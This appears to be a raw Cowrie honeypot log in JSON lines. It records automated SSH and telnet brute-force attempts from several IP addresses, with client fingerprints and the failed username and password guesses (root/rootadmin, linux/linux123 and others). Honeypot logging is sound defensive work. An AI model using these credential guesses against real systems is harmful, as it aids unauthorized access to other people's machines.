{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6e:bb:79:94:ad:59:ba:e4:35:ab:db:4d:c5:62:27:eb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyxMcBnowv1Paaj5Gn2b1tfbCb3Qli8ozD6NtMd/8p0osYoYFjjh9l7CgPtTeMD0J6wH91D9LEOEm2x4ErQnAZ7chuJVelqAE0KsSKnYodhM4UoJNshDO6b+gzxJCc/KqGPMNsD+GLj3Khadf0k8frC/W/J923J23jqfXdteMgMmDag+wWUMYjLN8o2H1s2EVfoaW0tA0XZDF0n1kuxDlTt/FHJwkOYko6rnMpQHeIvGCvt1Kyc8baB9M4zR0itUokhvty7RdwfEOjiH4uj+msMePrfLgNOOupX369TFckE/3B/U05G0bWgPPncLPW3H6U7CpvM0E0uzFkILkAec2tw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:49:54.244242Z","src_ip":"128.0.104.39","session":"f938934c0665","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:49:54.367737Z","src_ip":"128.0.104.39","session":"f938934c0665","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.664306640625,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:50:04.284745Z","src_ip":"202.62.60.125","session":"43df526c2f39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"200.39.46.41","src_port":60344,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd330447c21f","protocol":"ssh","message":"New connection: 200.39.46.41:60344 (10.17.0.5:22) [session: dd330447c21f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:50:06.942636Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:50:06.948303Z","src_ip":"200.39.46.41","session":"dd330447c21f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:50:07.096812Z","src_ip":"200.39.46.41","session":"dd330447c21f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asd123..","message":"login attempt [root/Asd123..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:50:07.695332Z","src_ip":"200.39.46.41","session":"dd330447c21f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:50:08.840651Z","src_ip":"200.39.46.41","session":"dd330447c21f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.51.214.99","src_port":52086,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9b7cf5ac320","protocol":"ssh","message":"New connection: 202.51.214.99:52086 (10.17.0.5:22) [session: d9b7cf5ac320]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:50:29.578654Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:50:29.583482Z","src_ip":"202.51.214.99","session":"d9b7cf5ac320","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:50:29.825450Z","src_ip":"202.51.214.99","session":"d9b7cf5ac320","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"freeside","message":"login attempt [root/freeside] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:50:30.824865Z","src_ip":"202.51.214.99","session":"d9b7cf5ac320","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:50:32.068779Z","src_ip":"202.51.214.99","session":"d9b7cf5ac320","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.74.248.52","src_port":9160,"dst_ip":"10.17.0.5","dst_port":22,"session":"c320627c6781","protocol":"ssh","message":"New connection: 27.74.248.52:9160 (10.17.0.5:22) [session: c320627c6781]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:50:58.546437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:50:58.550539Z","src_ip":"27.74.248.52","session":"c320627c6781","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:50:59.006679Z","src_ip":"27.74.248.52","session":"c320627c6781","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootadmin","message":"login attempt [root/rootadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:51:00.381446Z","src_ip":"27.74.248.52","session":"c320627c6781","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:51:01.840304Z","src_ip":"27.74.248.52","session":"c320627c6781","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.39.46.41","src_port":59208,"dst_ip":"10.17.0.5","dst_port":22,"session":"9db81bdfa77a","protocol":"ssh","message":"New connection: 200.39.46.41:59208 (10.17.0.5:22) [session: 9db81bdfa77a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:51:31.876597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:51:31.881235Z","src_ip":"200.39.46.41","session":"9db81bdfa77a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:51:32.022903Z","src_ip":"200.39.46.41","session":"9db81bdfa77a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123Qwe123C","message":"login attempt [root/123Qwe123C] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:51:32.619434Z","src_ip":"200.39.46.41","session":"9db81bdfa77a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:51:33.762341Z","src_ip":"200.39.46.41","session":"9db81bdfa77a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.48.205.231","src_port":47034,"dst_ip":"10.17.0.5","dst_port":22,"session":"1499b62c13ce","protocol":"ssh","message":"New connection: 69.48.205.231:47034 (10.17.0.5:22) [session: 1499b62c13ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:51:51.456105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:51:51.460043Z","src_ip":"69.48.205.231","session":"1499b62c13ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:51:51.500854Z","src_ip":"69.48.205.231","session":"1499b62c13ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux123","message":"login attempt [linux/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:51:51.698278Z","src_ip":"69.48.205.231","session":"1499b62c13ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:51:52.742408Z","src_ip":"69.48.205.231","session":"1499b62c13ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.137.172.116","src_port":60316,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad9fcc353367","protocol":"ssh","message":"New connection: 45.137.172.116:60316 (10.17.0.5:22) [session: ad9fcc353367]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:52:05.849826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:52:05.854426Z","src_ip":"45.137.172.116","session":"ad9fcc353367","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:52:05.956386Z","src_ip":"45.137.172.116","session":"ad9fcc353367","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"132132","message":"login attempt [root/132132] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:52:06.382010Z","src_ip":"45.137.172.116","session":"ad9fcc353367","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:52:07.482918Z","src_ip":"45.137.172.116","session":"ad9fcc353367","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.118.29.129","src_port":59924,"dst_ip":"10.17.0.5","dst_port":22,"session":"28487da42dbd","protocol":"ssh","message":"New connection: 103.118.29.129:59924 (10.17.0.5:22) [session: 28487da42dbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:52:28.360230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:52:28.365032Z","src_ip":"103.118.29.129","session":"28487da42dbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:52:28.608801Z","src_ip":"103.118.29.129","session":"28487da42dbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qweasdzxc123.","message":"login attempt [root/qweasdzxc123.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:52:29.600840Z","src_ip":"103.118.29.129","session":"28487da42dbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:52:30.844403Z","src_ip":"103.118.29.129","session":"28487da42dbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"136.232.11.10","src_port":12373,"dst_ip":"10.17.0.5","dst_port":22,"session":"452440b2b328","protocol":"ssh","message":"New connection: 136.232.11.10:12373 (10.17.0.5:22) [session: 452440b2b328]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:52:43.995457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:52:43.999777Z","src_ip":"136.232.11.10","session":"452440b2b328","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:52:44.242886Z","src_ip":"136.232.11.10","session":"452440b2b328","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"8888","message":"login attempt [root/8888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:52:45.238245Z","src_ip":"136.232.11.10","session":"452440b2b328","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:52:46.481066Z","src_ip":"136.232.11.10","session":"452440b2b328","protocol":"ssh"}
